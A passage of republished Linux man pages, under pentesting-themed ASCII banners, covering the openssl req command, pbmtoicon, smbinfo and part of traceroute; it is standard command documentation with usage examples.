This option is used to generate a new private key unless -key is given. It is subsequently used as if it was given using the -key option. This option implies the -new flag to create a new certificate request or a new certificate in case -x509 is used. The argument takes one of several forms. [rsa:]nbits generates an RSA key nbits in size. If nbits is omitted, i.e., -newkey rsa is specified, the default key size specified in the configuration file with the default_bits option is used if present, else 2048. All other algorithms support the -newkey algname:file form, where file is an algorithm parameter file, created with openssl genpkey -genparam or an X.509 certificate for a key with appropriate algorithm. **param:**file generates a key using the parameter file or certificate file, the algorithm is determined by the parameters. algname[:file] generates a key using the given algorithm algname. If a parameter file file is given then the parameters specified there are used, where the algorithm parameters must match algname. If algorithm parameters are not given, any necessary parameters should be specified via the -pkeyopt option. **dsa:**filename generates a DSA key using the parameters in the file filename. **ec:**filename generates EC key (usable both with ECDSA or ECDH algorithms), **gost2001:**filename generates GOST R 34.10-2001 key (requires gost engine configured in the configuration file). If just gost2001 is specified a parameter set should be specified by -pkeyopt paramset:X

-pkeyopt opt:value
Set the public key algorithm option opt to value. The precise set of options supported depends on the public key algorithm used and its implementation. See “KEY GENERATION OPTIONS” in openssl-genpkey (1) for more details.

-key filename|uri
This option provides the private key for signing a new certificate or certificate request. Unless -in is given, the corresponding public key is placed in the new certificate or certificate request, resulting in a self-signature. For certificate signing this option is overridden by the -CA option. This option also accepts PKCS#8 format private keys for PEM format files.

-keyform DER|PEM|P12|ENGINE
The format of the private key; unspecified by default. See openssl-format-options (1) for details.

-keyout filename
This gives the filename to write any private key to that has been newly created or read from -key. If neither the -keyout option nor the -key option are given then the filename specified in the configuration file with the default_keyfile option is used, if present. Thus, if you want to write the private key and the -key option is provided, you should provide the -keyout option explicitly. If a new key is generated and no filename is specified the key is written to standard output.

-noenc
If this option is specified then if a private key is created it will not be encrypted.

-nodes
This option is deprecated since OpenSSL 3.0; use -noenc instead.

-digest
This specifies the message digest to sign the request. Any digest supported by the OpenSSL dgst command can be used. This overrides the digest algorithm specified in the configuration file. Some public key algorithms may override this choice. For instance, DSA signatures always use SHA1, GOST R 34.10 signatures always use GOST R 34.11-94 (-md_gost94), Ed25519 and Ed448 never use any digest.

-config filename
This allows an alternative configuration file to be specified. Optional; for a description of the default value, see “COMMAND SUMMARY” in openssl (1).

-section name
Specifies the name of the section to use; the default is req.

-subj arg
Sets subject name for new request or supersedes the subject name when processing a certificate request. The arg must be formatted as /type0=value0/type1=value1/type2=.... Special characters may be escaped by \ (backslash), whitespace is retained. Empty values are permitted, but the corresponding type will not be included in the request. Giving a single / will lead to an empty sequence of RDNs (a NULL-DN). Multi-valued RDNs can be formed by placing a + character instead of a / between the AttributeValueAssertions (AVAs) that specify the members of the set. Example: /DC=org/DC=OpenSSL/DC=users/UID=123456+CN=John Doe

-multivalue-rdn
This option has been deprecated and has no effect.

-x509
This option outputs a certificate instead of a certificate request. This is typically used to generate test certificates. It is implied by the -CA option. This option implies the -new flag if -in is not given. If an existing request is specified with the -in option, it is converted to a certificate; otherwise a request is created from scratch. Unless specified using the -set_serial option, a large random number will be used for the serial number. Unless the -copy_extensions option is used, X.509 extensions are not copied from any provided request input file. X.509 extensions to be added can be specified in the configuration file, possibly using the -config and -extensions options, and/or using the -addext option. Unless -x509v1 is given, generated certificates bear X.509 version 3. Unless specified otherwise, key identifier extensions are included as described in x509v3_config (5).

-x509v1
Request generation of certificates with X.509 version 1. This implies -x509. If X.509 extensions are given, anyway X.509 version 3 is set.

-CA filename|uri
Specifies the “CA” certificate to be used for signing a new certificate and implies use of -x509. When present, this behaves like a “micro CA” as follows: The subject name of the “CA” certificate is placed as issuer name in the new certificate, which is then signed using the “CA” key given as specified below.

-CAkey filename|uri
Sets the “CA” private key to sign a certificate with. The private key must match the public key of the certificate given with -CA. If this option is not provided then the key must be present in the -CA input.

-days n
When -x509 is in use this specifies the number of days to certify the certificate for, otherwise it is ignored. n should be a positive integer. The default is 30 days.

-set_serial n
Serial number to use when outputting a self-signed certificate. This may be specified as a decimal value or a hex value if preceded by 0x. If not given, a large random number will be used.

-copy_extensions arg
Determines how X.509 extensions in certificate requests should be handled when -x509 is in use. If arg is none or this option is not present then extensions are ignored. If arg is copy or copyall then all extensions in the request are copied to the certificate. The main use of this option is to allow a certificate request to supply values for certain extensions such as subjectAltName.

-extensions section, -reqexts section
Can be used to override the name of the configuration file section from which X.509 extensions are included in the certificate (when -x509 is in use) or certificate request. This allows several different sections to be used in the same configuration file to specify requests for a variety of purposes.

-addext ext
Add a specific extension to the certificate (if -x509 is in use) or certificate request. The argument must have the form of a key=value pair as it would appear in a config file. This option can be given multiple times.

-precert
A poison extension will be added to the certificate, making it a “pre-certificate” (see RFC6962). This can be submitted to Certificate Transparency logs in order to obtain signed certificate timestamps (SCTs). These SCTs can then be embedded into the pre-certificate as an extension, before removing the poison and signing the certificate. This implies the -new flag.

-utf8
This option causes field values to be interpreted as UTF8 strings, by default they are interpreted as ASCII. This means that the field values, whether prompted from a terminal or obtained from a configuration file, must be valid UTF8 strings.

-reqopt option
Customise the printing format used with -text. The option argument can be a single option or multiple options separated by commas. See discussion of the -certopt parameter in the openssl-x509 (1) command.

-newhdr
Adds the word NEW to the PEM file header and footer lines on the outputted request. Some software (Netscape certificate server) and some CAs need this.

-batch
Non-interactive mode.

-verbose
Print extra details about the operations being performed.

-quiet
Print fewer details about the operations being performed, which may be handy during batch scripts or pipelines (specifically “progress dots” during key generation are suppressed).

-keygen_engine id
Specifies an engine (by its unique id string) which would be used for key generation operations.

-nameopt option
This specifies how the subject or issuer names are displayed. See openssl-namedisplay-options (1) for details.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

CONFIGURATION FILE FORMAT

The configuration options are specified in the req section of the configuration file. An alternate name be specified by using the -section option. As with all configuration files, if no value is specified in the specific section then the initial unnamed or default section is searched too.

The options available are described in detail below.

input_password, output_password
The passwords for the input private key file (if present) and the output private key file (if one will be created). The command line options passin and passout override the configuration file values.

default_bits
Specifies the default key size in bits. This option is used in conjunction with the -new option to generate a new key. It can be overridden by specifying an explicit key size in the -newkey option. The smallest accepted key size is 512 bits. If no key size is specified then 2048 bits is used.

default_keyfile
This is the default filename to write a private key to. If not specified the key is written to standard output. This can be overridden by the -keyout option.

oid_file
This specifies a file containing additional OBJECT IDENTIFIERS. Each line of the file should consist of the numerical form of the object identifier followed by whitespace then the short name followed by whitespace and finally the long name.

oid_section
This specifies a section in the configuration file containing extra object identifiers. Each line should consist of the short name of the object identifier followed by = and the numerical form. The short and long names are the same when this option is used.

RANDFILE
At startup the specified file is loaded into the random number generator, and at exit 256 bytes will be written to it. It is used for private key generation.

encrypt_key
If this is set to no then if a private key is generated it is not encrypted. This is equivalent to the -noenc command line option. For compatibility encrypt_rsa_key is an equivalent option.

default_md
This option specifies the digest algorithm to use. Any digest supported by the OpenSSL dgst command can be used. This option can be overridden on the command line. Certain signing algorithms (i.e. Ed25519 and Ed448) will ignore any digest that has been set.

string_mask
This option masks out the use of certain string types in certain fields. Most users will not need to change this option. It can be set to several values:

utf8only - only UTF8Strings are used (this is the default value)

pkix - any string type except T61Strings

nombstr - any string type except BMPStrings and UTF8Strings

default - any kind of string type

Note that utf8only is the PKIX recommendation in RFC2459 after 2003, and the default string_mask; default is not the default option. The nombstr value is a workaround for some software that has problems with variable-sized BMPStrings and UTF8Strings.

req_extensions
This specifies the configuration file section containing a list of extensions to add to the certificate request. It can be overridden by the -reqexts command line switch. See the x509v3_config (5) manual page for details of the extension section format.

x509_extensions
This specifies the configuration file section containing a list of extensions to add to certificate generated when -x509 is in use. It can be overridden by the -extensions command line switch.

prompt
If set to the value no this disables prompting of certificate fields and just takes values from the config file directly. It also changes the expected format of the distinguished_name and attributes sections.

utf8
If set to the value yes then field values to be interpreted as UTF8 strings, by default they are interpreted as ASCII. This means that the field values, whether prompted from a terminal or obtained from a configuration file, must be valid UTF8 strings.

attributes
This specifies the section containing any request attributes: its format is the same as distinguished_name. Typically these may contain the challengePassword or unstructuredName types. They are currently ignored by OpenSSL’s request signing utilities but some CAs might want them.

distinguished_name
This specifies the section containing the distinguished name fields to prompt for when generating a certificate or certificate request. The format is described in the next section.

DISTINGUISHED NAME AND ATTRIBUTE SECTION FORMAT

There are two separate formats for the distinguished name and attribute sections. If the prompt option is set to no then these sections just consist of field names and values: for example,

CN=My Name OU=My Organization [email protected]

This allows external programs (e.g. GUI based) to generate a template file with all the field names and values and just pass it to this command. An example of this kind of configuration file is contained in the EXAMPLES section.

Alternatively if the prompt option is absent or not set to no then the file contains field prompting information. It consists of lines of the form:

fieldName=“prompt” fieldName_default=“default field value” fieldName_min= 2 fieldName_max= 4

“fieldName” is the field name being used, for example commonName (or CN). The “prompt” string is used to ask the user to enter the relevant details. If the user enters nothing then the default value is used if no default value is present then the field is omitted. A field can still be omitted if a default value is present if the user just enters the ‘.’ character.

The number of characters entered must be between the fieldName_min and fieldName_max limits: there may be additional restrictions based on the field being used (for example countryName can only ever be two characters long and must fit in a PrintableString).

Some fields (such as organizationName) can be used more than once in a DN. This presents a problem because configuration files will not recognize the same name occurring twice. To avoid this problem if the fieldName contains some characters followed by a full stop they will be ignored. So for example a second organizationName can be input by calling it “1.organizationName”.

The actual permitted field names are any object identifier short or long names. These are compiled into OpenSSL and include the usual values such as commonName, countryName, localityName, organizationName, organizationalUnitName, stateOrProvinceName. Additionally emailAddress is included as well as name, surname, givenName, initials, and dnQualifier.

Additional object identifiers can be defined with the oid_file or oid_section options in the configuration file. Any additional fields will be treated as though they were a DirectoryString.

EXAMPLES

Examine and verify certificate request:

openssl req -in req.pem -text -verify -noout

Create a private key and then generate a certificate request from it:

openssl genrsa -out key.pem 2048 openssl req -new -key key.pem -out req.pem

The same but just using req:

openssl req -newkey rsa:2048 -keyout key.pem -out req.pem

Generate a self-signed root certificate:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out req.pem

Create an SM2 private key and then generate a certificate request from it:

openssl ecparam -genkey -name SM2 -out sm2.key openssl req -new -key sm2.key -out sm2.csr -sm3 -sigopt “distid:1234567812345678”

Examine and verify an SM2 certificate request:

openssl req -verify -in sm2.csr -sm3 -vfyopt “distid:1234567812345678”

Example of a file pointed to by the oid_file option:

1.2.3.4 shortName A longer Name 1.2.3.6 otherName Other longer Name

Example of a section pointed to by oid_section making use of variable expansion:

testoid1=1.2.3.5 testoid2=${testoid1}.6

Sample configuration file prompting for field values:

[ req ] default_bits = 2048 default_keyfile = privkey.pem distinguished_name = req_distinguished_name attributes = req_attributes req_extensions = v3_ca dirstring_type = nobmp [ req_distinguished_name ] countryName = Country Name (2 letter code) countryName_default = AU countryName_min = 2 countryName_max = 2 localityName = Locality Name (eg, city) organizationalUnitName = Organizational Unit Name (eg, section) commonName = Common Name (eg, YOUR name) commonName_max = 64 emailAddress = Email Address emailAddress_max = 40 [ req_attributes ] challengePassword = A challenge password challengePassword_min = 4 challengePassword_max = 20 [ v3_ca ] subjectKeyIdentifier=hash authorityKeyIdentifier=keyid:always,issuer:always basicConstraints = critical, CA:true

Sample configuration containing all field values:

[ req ] default_bits = 2048 default_keyfile = keyfile.pem distinguished_name = req_distinguished_name attributes = req_attributes prompt = no output_password = mypass [ req_distinguished_name ] C = GB ST = Test State or Province L = Test Locality O = Organization Name OU = Organizational Unit Name CN = Common Name emailAddress = [email protected] [ req_attributes ] challengePassword = A challenge password

Example of giving the most common attributes (subject and extensions) on the command line:

openssl req -new -subj “/C=GB/CN=foo” \ -addext “subjectAltName = DNS:foo.co.uk” \ -addext “certificatePolicies = 1.2.3.4” \ -newkey rsa:2048 -keyout key.pem -out req.pem

NOTES

The certificate requests generated by Xenroll with MSIE have extensions added. It includes the keyUsage extension which determines the type of key (signature only or general purpose) and any additional OIDs entered by the script in an extendedKeyUsage extension.

DIAGNOSTICS

The following messages are frequently asked about:

Using configuration from /some/path/openssl.cnf Unable to load config info

This is followed some time later by:

unable to find distinguished_name in config problems making Certificate Request

The first error message is the clue: it can’t find the configuration file! Certain operations (like examining a certificate request) don’t need a configuration file so its use isn’t enforced. Generation of certificates or requests however does need a configuration file. This could be regarded as a bug.

Another puzzling message is this:

Attributes: a0:00

this is displayed when no attributes are present and the request includes the correct empty SET OF structure (the DER encoding of which is 0xa0 0x00). If you just see:

Attributes:

then the SET OF is missing and the encoding is technically invalid (but it is tolerated). See the description of the command line option -asn1-kludge for more information.

BUGS

OpenSSL’s handling of T61Strings (aka TeletexStrings) is broken: it effectively treats them as ISO-8859-1 (Latin 1), Netscape and MSIE have similar behaviour. This can cause problems if you need characters that aren’t available in PrintableStrings and you don’t want to or can’t use BMPStrings.

As a consequence of the T61String handling the only correct way to represent accented characters in OpenSSL is to use a BMPString: unfortunately Netscape currently chokes on these. If you have to use accented characters with Netscape and MSIE then you currently need to use the invalid T61String form.

The current prompting is not very friendly. It doesn’t allow you to confirm what you’ve just entered. Other things like extensions in certificate requests are statically defined in the configuration file. Some of these: like an email address in subjectAltName should be input by the user.

SEE ALSO

openssl (1), openssl-x509 (1), openssl-ca (1), openssl-genrsa (1), openssl-gendsa (1), config (5), x509v3_config (5)

HISTORY

The -section option was added in OpenSSL 3.0.0.

The -multivalue-rdn option has become obsolete in OpenSSL 3.0.0 and has no effect.

The -engine option was deprecated in OpenSSL 3.0. The <-nodes> option was deprecated in OpenSSL 3.0, too; use -noenc instead.

The -reqexts option has been made an alias of -extensions in OpenSSL 3.2.

Since OpenSSL 3.2, generated certificates bear X.509 version 3 unless -x509v1 is given, and key identifier extensions are included by default.

COPYRIGHT

Copyright 2000-2024 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

28 - Linux cli command pbmtoicon

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoicon and provides detailed information about the command pbmtoicon, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoicon.

.

NAME 🖥️ pbmtoicon 🖥️

replaced by pbmtosunicon

SYNOPSIS

pbmtoicon [iconfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoicon was obsoleted by pbmtosunicon(1) , introduced with Netpbm 10.53 (December 2010). pbmtosunicon is backward compatible with pbmtoicon, plus adds additional functions, including the ability to convert a Depth=8 Sun icon, producing a PGM image.

Starting in Release 10.53, pbmtoicon is just an alias for pbmtosunicon.

The point of the name change is that there are many kinds of icons in the world besides Sun icons, and in 2010, the Sun variety isn’t even common.

In releases before 10.53, you can use the pbmtosunicon documentation for pbmtoicon, as long as you recognize that any change the pbmtosunicon manual says happened in or after Netpbm 10.53 doesn’t apply to pbmtoicon.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoicon.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

29 - Linux cli command smbinfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smbinfo and provides detailed information about the command smbinfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smbinfo.

NAME 🖥️ smbinfo 🖥️

Userspace helper to display SMB-specific file information for the Linux SMB client file system (CIFS)

SYNOPSIS

smbinfo [-v] [-h] [-V] {command} {file system object}

DESCRIPTION

This tool is part of the cifs-utils suite.

smbinfo is a userspace helper program for the Linux SMB client file system (CIFS). It is intended to display SMB-specific file informations such as Security Descriptors and Quota.

This tool works by making an CIFS_QUERY_INFO IOCTL call to the Linux SMB client which in turn issues a SMB Query Info request and returns the result. This differs from getcifsacl which uses extended file attributes.

OPTIONS

-v
Print version number and exit.

-V
Verbose output.

-h
Print help explaining the command line options.

COMMAND

fileaccessinfo: Prints the FileAccessInformation class

filealigninfo: Prints the FileAlignmentInformation class

fileallinfo: Prints the FileAllInformation class

filebasicinfo: Prints the FileBasicInformation class

fileeainfo: Prints the FileEaInformation class

filefsfullsizeinfo: Prints the FileFsFullSizeInformation class

fileinternalinfo: Prints the FileInternalInformation class

filemodeinfo: Prints the FileModeInformation class

filepositioninfo: Prints the FilePositionInformation class

filestandardinfo: Prints the FileStandardInformation class

filestreaminfo: Prints the FileStreamInformation class

fsctl-getobjid: Prints the ObjectID

getcompression: Prints the compression setting for the file.

setcompression -c <no|default|lznt1>: Sets the compression setting for the file.

list-snapshots: Lists the previous versions of the volume that backs this file

quota: Print the quota for the volume in the form - SID Length - Change Time - Quota Used - Quota Threshold - Quota Limit - SID

secdesc: Print the security descriptor in the form - Revision - Control - Owner SID - Group SID - ACL - File types - File flags

keys: Dump session id, encryption keys and decryption keys so that the SMB3 traffic of this mount can be decryped e.g. via wireshark (requires root).

NOTES

Kernel support for smbinfo utilities requires the CIFS_QUERY_INFO IOCTL which was initially introduced in the 4.20 kernel and is only implemented for mount points using SMB2 or above (see mount.cifs(8) vers option).

SEE ALSO

mount.cifs(8), getcifsacl(1)

AUTHOR

Ronnie Sahlberg wrote the smbinfo program.

The Linux CIFS Mailing list is the preferred place to ask questions regarding these programs.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

30 - Linux cli command traceroute-nanog

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command traceroute-nanog and provides detailed information about the command traceroute-nanog, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the traceroute-nanog.

NAME 🖥️ traceroute-nanog 🖥️

print the route packets trace to network host

SYNOPSIS

traceroute [-46dFITUnreAV] [-f first_ttl] [-g gate,…]

[-i device] [-m max_ttl] [-p port] [-s src_addr]

[-q nqueries] [-N squeries] [-t tos]

[-l flow_label] [-w waittimes] [-z sendwait] [-UL] [-D]

[-P proto] [–sport=port] [-M method] [-O mod_options]

[–mtu] [–back]

host [packet_len]
traceroute6 [options]
tcptraceroute [options]
lft [options]

DESCRIPTION

traceroute tracks the route packets taken from an IP network on their way to a given host. It utilizes the IP protocol’s time to live (TTL) field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to the host.

traceroute6 is equivalent to traceroute -6

tcptraceroute is equivalent to traceroute -T

lft , the Layer Four Traceroute, performs a TCP traceroute, like traceroute -T , but attempts to provide compatibility with the original such implementation, also called “lft”.

The only required parameter is the name or IP address of the destination host . The optional packet_len`gth is the total size of the probing packet (default 60 bytes for IPv4 and 80 for IPv6). The specified size can be ignored in some situations or increased up to a minimal value.

This program attempts to trace the route an IP packet would follow to some internet host by launching probe packets with a small ttl (time to live) then listening for an ICMP “time exceeded” reply from a gateway. We start our probes with a ttl of one and increase by one until we get an ICMP “port unreachable” (or TCP reset), which means we got to the “host”, or hit a max (which defaults to 30 hops). Three probes (by default) are sent at each ttl setting and a line is printed showing the ttl, address of the gateway and round trip time of each probe. The address can be followed by additional information when requested. If the probe answers come from different gateways, the address of each responding system will be printed. If there is no response within a certain timeout, an “*” (asterisk) is printed for that probe.

After the trip time, some additional annotation can be printed: !H, !N, or !P (host, network or protocol unreachable), !S (source route failed), !F (fragmentation needed), !X (communication administratively prohibited), !V (host precedence violation), !C (precedence cutoff in effect), or !<num> (ICMP unreachable code <num>). If almost all the probes result in some kind of unreachable, traceroute will give up and exit.

We don’t want the destination host to process the UDP probe packets, so the destination port is set to an unlikely value (you can change it with the -p flag). There is no such a problem for ICMP or TCP tracerouting (for TCP we use half-open technique, which prevents our probes to be seen by applications on the destination host).

In the modern network environment the traditional traceroute methods can not be always applicable, because of widespread use of firewalls. Such firewalls filter the “unlikely” UDP ports, or even ICMP echoes. To solve this, some additional tracerouting methods are implemented (including tcp), see LIST OF AVAILABLE METHODS below. Such methods try to use particular protocol and source/destination port, in order to bypass firewalls (to be seen by firewalls just as a start of allowed type of a network session).

OPTIONS

–help
Print help info and exit.

-4, -6
Explicitly force IPv4 or IPv6 tracerouting. By default, the program will try to resolve the name given, and choose the appropriate protocol automatically. If resolving a host name returns both IPv4 and IPv6 addresses, traceroute will use IPv4.

-I, –icmp
Use ICMP ECHO for probes

-T, –tcp
Use TCP SYN for probes

-d, –debug
Enable socket level debugging (when the Linux kernel supports it)

-F, –dont-fragment
Do not fragment probe packets. (For IPv4 it also sets DF bit, which tells intermediate routers not to fragment remotely as well).

Varying the size of the probing packet by the packet_len command line parameter, you can manually obtain information about the MTU of individual network hops. The –mtu option (see below) tries to do this automatically.

Note, that non-fragmented features (like -F or –mtu) work properly since the Linux kernel 2.6.22 only. Before that version, IPv6 was always fragmented, IPv4 could use the once the discovered final mtu only (from the route cache), which can be less than the actual mtu of a device.

-f* first_ttl***, –first=**first_ttl
Specifies with what TTL to start. Defaults to 1.

-g* gateway***, –gateway=gateway
Tells traceroute to add an IP source routing option to the outgoing packet that tells the network to route the packet through the specified gateway (most routers have disabled source routing for security reasons). In general, several gateway’s is allowed (comma separated). For IPv6, the form of num
,addr,**addr… is allowed, where num is a route header type (default is type 2). Note the type 0 route header is now deprecated (rfc5095).

-i* interface***, –interface=**interface
Specifies the interface through which traceroute should send packets. By default, the interface is selected according to the routing table.

-m* max_ttl***, –max-hops=**max_ttl
Specifies the maximum number of hops (max time-to-live value) traceroute will probe. The default is 30.

-N* squeries***, –sim-queries=**squeries
Specifies the number of probe packets sent out simultaneously. Sending several probes concurrently can speed up traceroute considerably. The default value is 16.
Note that some routers and hosts can use ICMP rate throttling. In such a situation specifying too large number can lead to loss of some responses.

-n
Do not try to map IP addresses to host names when displaying them.

-p* port***, –port=**port
For UDP tracing, specifies the destination port base traceroute will use (the destination port number will be incremented by each probe).
For ICMP tracing, specifies the initial ICMP sequence value (incremented by each probe too).
For TCP and others specifies just the (constant) destination port to connect. When using the tcptraceroute wrapper, -p specifies the source port.

-t* tos***, –tos=**tos
For IPv4, set the Type of Service (TOS) and Precedence value. Useful values are 16 (low delay) and 8 (high throughput). Note that in order to use some TOS precedence values, you have to be super user.
For IPv6, set the Traffic Control value.

-l* flow_label***, –flowlabel=**flow_label
Use specified flow_label for IPv6 packets.

-w* max[*,here,near], –wait=*max[,here,*near]
Determines how long to wait for a response to a probe.

There are three (in general) float values separated by a comma (or a slash). Max specifies the maximum time (in seconds, default 5.0) to wait, in any case.

Traditional traceroute implementation always waited whole max seconds for any probe. But if we already have some replies from the same hop, or even from some next hop, we can use the round trip time of such a reply as a hint to determine the actual reasonable amount of time to wait.

The optional here (default 3.0) specifies a factor to multiply the round trip time of an already received response from the same hop. The resulting value is used as a timeout for the probe, instead of (but no more than) max. The optional near (default 10.0) specifies a similar factor for a response from some next hop. (The time of the first found result is used in both cases).

First, we look for the same hop (of the probe which will be printed first from now). If nothing found, then look for some next hop. If nothing found, use max. If here and/or near have zero values, the corresponding computation is skipped.
Here and near are always set to zero if only max is specified (for compatibility with previous versions).

-q* nqueries***, –queries=**nqueries
Sets the number of probe packets per hop. The default is 3.

-r
Bypass the normal routing tables and send directly to a host on an attached network. If the host is not on a directly-attached network, an error is returned. This option can be used to ping a local host through an interface that has no route through it.

-s* source_addr***, –source=**source_addr
Chooses an alternative source address. Note that you must select the address of one of the interfaces. By default, the address of the outgoing interface is used.

-z* sendwait***, –sendwait=**sendwait
Minimal time interval between probes (default 0). If the value is more than 10, then it specifies a number in milliseconds, else it is a number of seconds (float point values allowed too). Useful when some routers use rate-limit for ICMP messages.

-e, –extensions
Show ICMP extensions (rfc4884). The general form is CLASS*/TYPE:*** followed by a hexadecimal dump. The MPLS (rfc4950) is shown parsed, in a form: MPLS:L=label,E=exp_use,S=stack_bottom,T=TTL (more objects separated by / ). The Interface Information (rfc5837) is shown parsed as well, in a following form: {INC|SUB|OUT|NXT}:index,IP_addr,"name",mtu=MTU (all four fields may be missing).

-A, –as-path-lookups
Perform AS path lookups in routing registries and print results directly after the corresponding addresses.

-V, –version
Print the version and exit.

There are additional options intended for advanced usage (such as alternate trace methods etc.):

–sport=port
Chooses the source port to use. Implies -N 1 -w 5 . Normally source ports (if applicable) are chosen by the system.

–fwmark=mark
Set the firewall mark for outgoing packets (since the Linux kernel 2.6.25).

-M* method***, –module=name
Use specified method for traceroute operations. Default traditional udp method has name default, icmp (
-I**)" and tcp (-T)" have names icmp and tcp respectively.
Method-specific options can be passed by -O . Most methods have their simple shortcuts, (-I means -M icmp, etc).

-O* option***, –options=**options
Specifies some method-specific option. Several options are separated by comma (or use several -O on cmdline). Each method may have its own specific options, or many not have them at all. To print information about available options, use -O help.

-U, –udp
Use UDP to particular destination port for tracerouting (instead of increasing the port per each probe). Default port is 53 (dns).

-UL
Use UDPLITE for tracerouting (default port is 53).

-D, –dccp
Use DCCP Requests for probes.

-P* protocol***, –protocol=**protocol
Use raw packet of specified protocol for tracerouting. Default protocol is 253 (rfc3692).

–mtu
Discover MTU along the path being traced. Implies -F -N 1. New mtu is printed once in a form of F=NUM at the first probe of a hop which requires such mtu to be reached. (Actually, the correspond “frag needed” icmp message normally is sent by the previous hop).

Note, that some routers might cache once the seen information on a fragmentation. Thus you can receive the final mtu from a closer hop. Try to specify an unusual tos by -t , this can help for one attempt (then it can be cached there as well).
See -F option for more info.

–back
Print the number of backward hops when it seems different with the forward direction. This number is guessed in assumption that remote hops send reply packets with initial ttl set to either 64, or 128 or 255 (which seems a common practice). It is printed as a negate value in a form of ‘-NUM’ .

LIST OF AVAILABLE METHODS

In general, a particular traceroute method may have to be chosen by -M name, but most of the methods have their simple cmdline switches (you can see them after the method name, if present).

default

The traditional, ancient method of tracerouting. Used by default.

Probe packets are udp datagrams with so-called “unlikely” destination ports. The “unlikely” port of the first probe is 33434, then for each next probe it is incremented by one. Since the ports are expected to be unused, the destination host normally returns “icmp unreach port” as a final response. (Nobody knows what happens when some application listens for such ports, though).

This method is allowed for unprivileged users.

icmp -I

Most usual method for now, which uses icmp echo packets for probes.
If you can ping(8) the destination host, icmp tracerouting is applicable as well.

This method may be allowed for unprivileged users since the kernel 3.0 (IPv4, for IPv6 since 3.11), which supports new dgram icmp (or “ping”) sockets. To allow such sockets, sysadmin should provide net/ipv4/ping_group_range sysctl range to match any group of the user.
Options:

raw
Use only raw sockets (the traditional way).
This way is tried first by default (for compatibility reasons), then new dgram icmp sockets as fallback.

dgram
Use only dgram icmp sockets.

tcp -T

Well-known modern method, intended to bypass firewalls.
Uses the constant destination port (default is 80, http).

